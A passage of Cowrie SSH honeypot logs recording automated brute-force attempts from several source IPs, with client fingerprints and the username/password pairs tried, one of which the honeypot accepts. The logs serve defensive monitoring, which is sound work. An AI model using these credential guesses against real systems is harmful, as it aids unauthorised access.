nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:22.577291Z","src_ip":"13.234.134.227","session":"4380b68e7953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:23.179962Z","src_ip":"13.234.134.227","session":"4380b68e7953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:24.382848Z","src_ip":"13.234.134.227","session":"4380b68e7953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":57650,"dst_ip":"159.203.135.109","dst_port":22,"session":"be5d905a023f","protocol":"ssh","message":"New connection: 13.234.134.227:57650 (159.203.135.109:22) [session: be5d905a023f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:24.581863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:24.584908Z","src_ip":"13.234.134.227","session":"be5d905a023f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:24.785811Z","src_ip":"13.234.134.227","session":"be5d905a023f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:25.390907Z","src_ip":"13.234.134.227","session":"be5d905a023f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:26.595421Z","src_ip":"13.234.134.227","session":"be5d905a023f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"f66bceb2bba9","protocol":"ssh","message":"New connection: 13.234.134.227:57658 (159.203.135.109:22) [session: f66bceb2bba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:26.802655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:26.807112Z","src_ip":"13.234.134.227","session":"f66bceb2bba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:27.013200Z","src_ip":"13.234.134.227","session":"f66bceb2bba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:27.631747Z","src_ip":"13.234.134.227","session":"f66bceb2bba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:28.840311Z","src_ip":"13.234.134.227","session":"f66bceb2bba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":57670,"dst_ip":"159.203.135.109","dst_port":22,"session":"8baf811db599","protocol":"ssh","message":"New connection: 13.234.134.227:57670 (159.203.135.109:22) [session: 8baf811db599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:29.037776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:29.041793Z","src_ip":"13.234.134.227","session":"8baf811db599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:29.249503Z","src_ip":"13.234.134.227","session":"8baf811db599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:29.863113Z","src_ip":"13.234.134.227","session":"8baf811db599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:31.069070Z","src_ip":"13.234.134.227","session":"8baf811db599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":57688,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da1d456428c","protocol":"ssh","message":"New connection: 13.234.134.227:57688 (159.203.135.109:22) [session: 0da1d456428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:31.262458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:31.267617Z","src_ip":"13.234.134.227","session":"0da1d456428c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:31.463784Z","src_ip":"13.234.134.227","session":"0da1d456428c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:32.269864Z","src_ip":"13.234.134.227","session":"0da1d456428c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:33.470507Z","src_ip":"13.234.134.227","session":"0da1d456428c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.234.134.227","src_port":36836,"dst_ip":"159.203.135.109","dst_port":22,"session":"562e09302803","protocol":"ssh","message":"New connection: 13.234.134.227:36836 (159.203.135.109:22) [session: 562e09302803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:33.675903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:33.679347Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:33.884415Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:34.510002Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":34484,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f9affd954f","protocol":"ssh","message":"New connection: 195.178.110.137:34484 (10.17.0.5:22) [session: 25f9affd954f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:43.114484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:43.192613Z","src_ip":"195.178.110.137","session":"25f9affd954f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:43.206101Z","src_ip":"195.178.110.137","session":"25f9affd954f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hw230f8034t","password":"17932yhf823","message":"login attempt [hw230f8034t/17932yhf823] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:43.531962Z","src_ip":"195.178.110.137","session":"25f9affd954f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:44.618061Z","src_ip":"195.178.110.137","session":"25f9affd954f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":35630,"dst_ip":"10.17.0.5","dst_port":22,"session":"5694cdcbec8a","protocol":"ssh","message":"New connection: 189.190.244.176:35630 (10.17.0.5:22) [session: 5694cdcbec8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:46.408199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:46.411799Z","src_ip":"189.190.244.176","session":"5694cdcbec8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:46.485376Z","src_ip":"189.190.244.176","session":"5694cdcbec8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:46.814343Z","src_ip":"189.190.244.176","session":"5694cdcbec8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:47.890020Z","src_ip":"189.190.244.176","session":"5694cdcbec8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":54380,"dst_ip":"10.17.0.5","dst_port":22,"session":"418d494e772b","protocol":"ssh","message":"New connection: 77.237.244.154:54380 (10.17.0.5:22) [session: 418d494e772b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:57.811995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:57.815810Z","src_ip":"77.237.244.154","session":"418d494e772b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:57.906851Z","src_ip":"77.237.244.154","session":"418d494e772b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zksync","password":"zksync789","message":"login attempt [zksync/zksync789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:58.180828Z","src_ip":"77.237.244.154","session":"418d494e772b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:35:59.273538Z","src_ip":"77.237.244.154","session":"418d494e772b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7682,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77d79c90126","protocol":"ssh","message":"New connection: 38.93.206.2:7682 (159.203.135.109:22) [session: b77d79c90126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:33.233332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:33.236503Z","src_ip":"38.93.206.2","session":"b77d79c90126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macC